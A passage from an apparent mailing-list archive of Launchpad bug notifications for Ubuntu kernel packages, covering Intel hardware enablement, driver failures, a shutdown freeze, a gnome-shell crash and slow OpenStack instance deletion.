‘NL80211_BAND_2GHZ’? InstallationDate: Installed on 2017-11-13 (254 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageVersion: 6.30.223.271+bdcom-1longsleep0 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build UpgradeStatus: Upgraded to bionic on 2018-07-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1783823/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1728244] Re: Touchpad stops working after reboot on Apollo Lake
@chrisbi, this bug is about a touchpad-kernel. It's not the right place for your post/question about wifi-kernel. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1728244 Title: Touchpad stops working after reboot on Apollo Lake Status in Linux: Unknown Status in linux package in Ubuntu: Triaged Bug description: On the Jumper EZBook 3 Pro (V4) laptop, using an Apollo Lake N3450 processor, if you install Ubuntu 17.10 (or less) with isorespin and use rEFInd as bootloader (this is the only way to get linux booting on this laptop) everything works out of the box, but after a reboot or two the touchpad stops working. Both in Ubuntu and Windows 10. The only way to restore functionality is to boot from usb key ubuntu 17.10 respined, or disassemble laptop and detach-reattach battery cable. This is mesg | grep i2c_hid: [ 2056.460636] i2c_hid i2c-SYNA3602:00: i2c_hid_get_input: incomplete report (27/34) [ 3077.604699] i2c_hid i2c-SYNA3602:00: failed to reset device. [ 3077.605473] dpm_run_callback(): i2c_hid_resume+0x0/0xe0 [i2c_hid] returns -61 [ 3080.468156] i2c_hid i2c-SYNA3602:00: i2c_hid_get_input: incomplete report (27/34) uname -rvps Linux 4.10.0-32-generic #36~16.04.1-Ubuntu SMP Wed Aug 9 09:19:02 UTC 2017 x86_64 There has to be a bug in the kernel. Any way to avoid this? To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1728244/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1760545] Re: [18.04] GLK hang after a while
** No longer affects: intel -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1760545 Title: [18.04] GLK hang after a while Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: In Progress Bug description: SRU Justification Impact: i915 lacks information about the glk_dmc_ver1_04.bin firmware file in modinfo, so it is not included in the initrd along with the i915 driver. Thus the firmware does not get loaded. Loading the firmware is said to prevent a hang. Fix: Add a MODULE_FIRMWARE statement for the firmware. Test Case: Without the firmware there will be a "Direct firmware load for i915/glk_dmc_ver1_04.bin failed with error -2" line in dmesg. With the firmware there is no such message. Regression Potential: Minimal. Will only be loaded by i915 for specific hardware, and loading the firmware is known to fix a hang. --- Description: Platform information: Label: GLK02SDP Processor: Silver N5000 Bios: GELKRVPA.X64.0083.B30.1801162142 OS: Ubuntu 18.04 Kernel: 4.15.0-10-generic Details: Power on, and enter into the system; After a period, sometimes about 20 minutes, sometimes 1 hour, the machine will hang. We can only power it off manually, then power on to enter into OS again. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1760545/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1743856] Re: EDAC, sb_edac: Backport 1 patch to Ubuntu 17.10 (Fix missing DIMM sysfs entries with KNL SNC2/SNC4 mode)
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1743856 Title: EDAC, sb_edac: Backport 1 patch to Ubuntu 17.10 (Fix missing DIMM sysfs entries with KNL SNC2/SNC4 mode) Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Artful: Fix Released Status in linux source package in Bionic: Fix Released Bug description: == SRU Justification == The sb_edac needs this patch to enable EDAC to know of the existence of some DIMMs attached to channels while figuring out the size of the DIMMs and the cluster mode is SNC2 or SNC4. All the thread connected with this issue is described here https://www.spinics.net/lists/linux-edac/msg08170.html. Commit 24281a2f4ca569d44e44e4cbc500cf08e7bb4c36 is in mailine as of v4.15-rc1. == Fix == commit 24281a2f4ca569d44e44e4cbc500cf08e7bb4c36 Author: Luis Felipe Sandoval Castro Date: Thu Sep 28 08:54:42 2017 -0500 EDAC, sb_edac: Fix missing DIMM sysfs entries with KNL SNC2/SNC4 mode == Regression Potential == Low. Limited to EDAC checking dimm capacity. == Test Case == A test kernel was built with this patch and tested by the original bug reporter. The bug reporter states the test kernel resolved the bug. Please backport the following patch: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?id=24281a2f4ca569d44e44e4cbc500cf08e7bb4c36 to solve the sb_edac driver issue on Ubuntu 17.10. Thank you! To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1743856/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1742561] Re: [Feature] [Graphics]Whiskey Lake (Coffelake-U 4+2) new PCI Device ID adds
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1742561 Title: [Feature] [Graphics]Whiskey Lake (Coffelake-U 4+2) new PCI Device ID adds Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: Whiskey Lake (Coffelake-U 4+2) new PCI Device ID adds c99d7832dcd7423ba352386107118b9bd8b83158 (drm branch commit id) (https://patchwork.freedesktop.org/patch/194410/) Target Release: 18.04 Target Kernel: TBD (mainline) To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1742561/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1744638] Re: [Bug] [CNL] mei: LTR holds platform at Pkg C2, cannot enter deeper Pkg C states
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1744638 Title: [Bug] [CNL] mei: LTR holds platform at Pkg C2, cannot enter deeper Pkg C states Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: Platform: CNL-Y8 LPDDR4 PI (merged rail) RVP with BIOS 108 BIOS configuration: https://wiki.ith.intel.com/pages/viewpage.action?pageId=865050787 At least as far back as the 2017-10-25 Intel Next merge, platform will not go deeper than Pkg C2 when system is idle. Upon further debug, using the pmc_core driver to ignore LTR "6", or bit 6 of LTR_IGN, can allow the system can enter Pkg C8. If I'm not mistaken, according to CSpec bit 6 of LTR_IGN will ignore LTR_ME, which is in the MEI driver's domain. Reproduce by: Boot to text console with latest Intel Next kernel (2017-10-30 as of writing) Run turbostat See residency no deeper than Pkg C2 Expected: At idle, system shows nonzero Pkg C8 residency, or deeper. Actual: At idle, system only shows nonzero Pkg C2 residency. Two work-arounds: echo 6 > /sys/kernel/debug/pmc_core/ltr_ignore Run powertop --auto-tune Criteria for closure: Idle system can enter Pkg C8 (or deeper) without having to explicitly "ignore" LTR 6 or otherwise have to manually enable runtime power management for MEI device(s). Commit ids: Upstream commit, planned to be merged into 4.16 commit cc365dcf0e56271bedf3de95f88922abe248e951 Author: Tomas Winkler Date: Tue Jan 2 12:01:41 2018 +0200 mei: me: allow runtime pm for platform with D0i3 Target Kernel: 4.16 Target Release: 18.04 break-fix: - cc365dcf0e56271bedf3de95f88922abe248e951 To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1744638/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1737873] Re: [Feature][GLK] Enable L2 CDP (Code and Data Prioritization)
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1737873 Title: [Feature][GLK] Enable L2 CDP (Code and Data Prioritization) Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: L2 CDP separates code and data in L2 cache allocation. First implemented in Gemini Lake processor. It's an extension of L2 CAT and similar to already released L3 CDP. The L2 CDP is supposed to be published in Dec SDM. Target Kernel: 4.16 Target Release: 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1737873/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1757346] Re: [18.04] [bug] CFL-S(CNP)/CNL GPIO testing failed
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1757346 Title: [18.04] [bug] CFL-S(CNP)/CNL GPIO testing failed Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: [Impact] User won't be able to use GPIO if the driver is not built-in. [Test Case] It has been tested that GPIO will work when the driver is built-in. [Regression Potential] Only systems with those ACPI devices should be potentially affected. Description: Platform information: Label: CFLH01 Processor:Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz, U0 stepping, 6Cores/12Threads, GT2(0x3E9B) Core:6+2 PCH:CNL PCH-H, QM370, B0 Steppins BIOS:CNLSFWR1.R00.X118.B07.1801040709 Label: CFLS02 Processor:Genuine Intel(R) CPU @ 3.60GHz, 6cores, GT2, U0 stepping PCH:CNL PCH-H, Q370 BIOS:CNLSFWR1.R00.X104.B09.1710050244 OS: Ubuntu 18.04 Kernel: 4.15.0-10-generic Details: The gpio fail, the content of file 'value' would not be changed to the value I had written. Solution: enable config of GPIO in configuration file. CONFIG_PINCTRL_CANNONLAKE=y LP#1751714 To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1757346/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1747134] Re: [bug] [BDX]Ubuntu 16.04.3 with kernel "4.10.0-32-generic_4.10.0-32.36~16.04.1_amd64" hang if set "Cores Enabled" to 2 for both CPU
** Changed in: linux (Ubuntu Xenial) Status: In Progress => Incomplete ** No longer affects: intel -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1747134 Title: [bug] [BDX]Ubuntu 16.04.3 with kernel "4.10.0-32-generic_4.10.0-32.36~16.04.1_amd64" hang if set "Cores Enabled" to 2 for both CPU Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Incomplete Status in linux source package in Artful: Won't Fix Status in linux source package in Bionic: Fix Released Bug description: Description: Customer report a Ubuntu kernel issue related to Intel BDX Core numbers setting Ubuntu 16.04.3 with kernel "4.10.0-32-generic_4.10.0-32.36~16.04.1_amd64" hang if set "Cores Enabled" to 2 for both CPU. We have reproduced this issue on 17.10 release. With latest kernel, this issue disappears. now we bisect this issue is fixed by commit 947134d9b00f (“x86/smpboot: Do not use smp_num_siblings in __max_logical_packages calculation”) which was merged in v4.15-rc4. But after applying this commit to Ubuntu 16.04.3 kernel v4.13 code base or Linux upstream mainline kernel v4.13 code base, this issue still exists. Target Release: 16.04 / 17.10 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1747134/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1751714] Re: [Feature] CFL/CNL (PCH:CNP-H): New GPIO Commit added (GPIO Driver needed)
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1751714 Title: [Feature] CFL/CNL (PCH:CNP-H): New GPIO Commit added (GPIO Driver needed) Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: a commit id missed in LP#1685729. [CNL] - New device IDs for CNL v4.16 cb5fda413e1d @Canonical, please take it into 18.04. Target Kernel: 4.16 Target Release: 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1751714/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1757573] Re: [CNL-Y] enable kernel support of graphics
** Changed in: intel Status: New => Won't Fix ** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Bionic) ** Changed in: intel Status: Won't Fix => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1757573 Title: [CNL-Y] enable kernel support of graphics Status in intel: Fix Released Status in linux-oem package in Ubuntu: Fix Released Status in linux-oem source package in Bionic: Fix Released Bug description: [impact] Currently in 18.04 beta1, (v4.15), CNL-Y graphics is not enabled. is_alpha_support = 1 i915/i915_pci.c 572 static const struct intel_device_info intel_cannonlake_gt2_info __initconst = { 573 GEN10_FEATURES, 574 .is_alpha_support = 1, 575 .platform = INTEL_CANNONLAKE, 576 .gen = 10, 577 .gt = 2, 578 }; Enabling it needs 59 commits backported from 4.16/drm-intel-next- queued according to a list provided by Intel. [test case] Test a kernel build with backports on CNL-Y. [regression potential] minor, they are mostly about CNL only To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1757573/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1781889] Re: System freezes on restart or shutdown
Based on my comment #6, could this be related to #1782347 in any way, as this only happens when graphics is involved? Please note however that #1782347 is about Ubuntu only, while this bug is about both Ubuntu and XUbuntu. Thanks, MZ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781889 Title: System freezes on restart or shutdown Status in linux package in Ubuntu: Confirmed Bug description: Using default GRUB parameters ("quiet splash" or even "noquiet"), I'm unable to reboot or shutdown: the Plymouth circle starts spinning, then it stops and the system is frozen (altgr+sysrq won't work either). If I use "acpi=off", I can reboot but obviously the system will not shutdown (although I can get to a point where it is safe to hold the power button for 3 seconds). I also tried "acpi=noirq", "acpi=noapic", "acpi=nolapic", "pci=noacpi" with no success. Ubuntu 12.04 worked well, so this is a regression. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-23-generic 4.15.0-23.25 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: marco 1252 F pulseaudio CurrentDesktop: XFCE Date: Mon Jul 16 11:27:28 2018 HibernationDevice: RESUME=UUID=4045c49f-ab1a-446d-8515-a10466ea5852 InstallationDate: Installed on 2018-07-14 (1 days ago) InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. Vostro 1000 ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-23-generic root=/dev/mapper/xubuntu--vg-root ro quiet splash acpi=off vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-23-generic N/A linux-backports-modules-4.15.0-23-generic N/A linux-firmware 1.173.1 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/23/2006 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.6.1 dmi.board.name: 0WY383 dmi.board.vendor: Dell Inc. dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvr2.6.1:bd08/23/2006:svnDellInc.:pnVostro1000:pvrNotSpecified:rvnDellInc.:rn0WY383:rvr:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Vostro 1000 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781889/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739522] Re: [Bug] ISH support for CFL-H
** Changed in: intel Status: In Progress => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739522 Title: [Bug] ISH support for CFL-H Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description ISH driver is not loaded on CFL-H. Target Kernel: 4.16 Target Release: 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1739522/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1758797] Re: [Ubuntu 18.04] USB Type-C test failed on GLK
** Changed in: intel Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1758797 Title: [Ubuntu 18.04] USB Type-C test failed on GLK Status in intel: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: [Impact] USB Type-C ports would not be seen at ls /sys/class/typec/ some times, ie, driver probe would fail. The fix just changes a timeout setting, allowing the probe to succeed in those cases there is load on the system. [Test Case] During boot, with the system at load, the probe would fail some times. With the increased timeout for firmware responses, that doesn't happen after many reboots. [Regression Potential] This would only impact systems that have this specific ACPI node. As the probe runs on a work queue, this should not impact boot time. Description: Platform information: Label: GLK02SDP Processor: Silver N5000 Bios: GELKRVPA.X64.0083.B30.1801162142 OS: Ubuntu 18.04 Kernel: 4.15.0-10-generic Details: Bios: system setup -> system component -> USB Type-C root@GLK02:~# cat /boot/config-4.15.0-10-generic | grep -i ucsi CONFIG_TYPEC_UCSI=m CONFIG_UCSI_ACPI=m root@GLK02:~# ls /sys/class/typec/ root@GLK02:~# USB Type-C ports could not be seen. To manage notifications about this bug go to: https://bugs.launchpad.net/intel/+bug/1758797/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()
I haven't seen this crash, since I disabled Wayland in /etc/gdm3/custom.conf: [daemon] # Uncoment the line below to force the login screen to use Xorg WaylandEnable=false -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1754949 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() Status in gnome-shell package in Ubuntu: Confirmed Status in linux package in Ubuntu: In Progress Status in mutter package in Ubuntu: In Progress Bug description: https://gitlab.gnome.org/GNOME/mutter/issues/70 https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665 https://salsa.debian.org/gnome-team/mutter/merge_requests/6 --- The crash was reported after booting and logging in to an X.Org session. $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 $ apt-cache policy gnome-shell gnome-shell: Instalovaná verze: 3.27.92-0ubuntu1 Kandidát: 3.27.92-0ubuntu1 Tabulka verzí: *** 3.27.92-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun Mar 11 11:08:00 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-12-19 (81 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=cs_CZ PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f3fee5d2f17 : mov0x20(%rax),%rcx PC (0x7f3fee5d2f17) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766543] UdevDb.txt
apport information ** Attachment added: "UdevDb.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168128/+files/UdevDb.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current diagnostics
[Kernel-packages] [Bug 1766543] nvram.gz
apport information ** Attachment added: "nvram.gz" https://bugs.launchpad.net/bugs/1766543/+attachment/5168130/+files/nvram.gz ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see 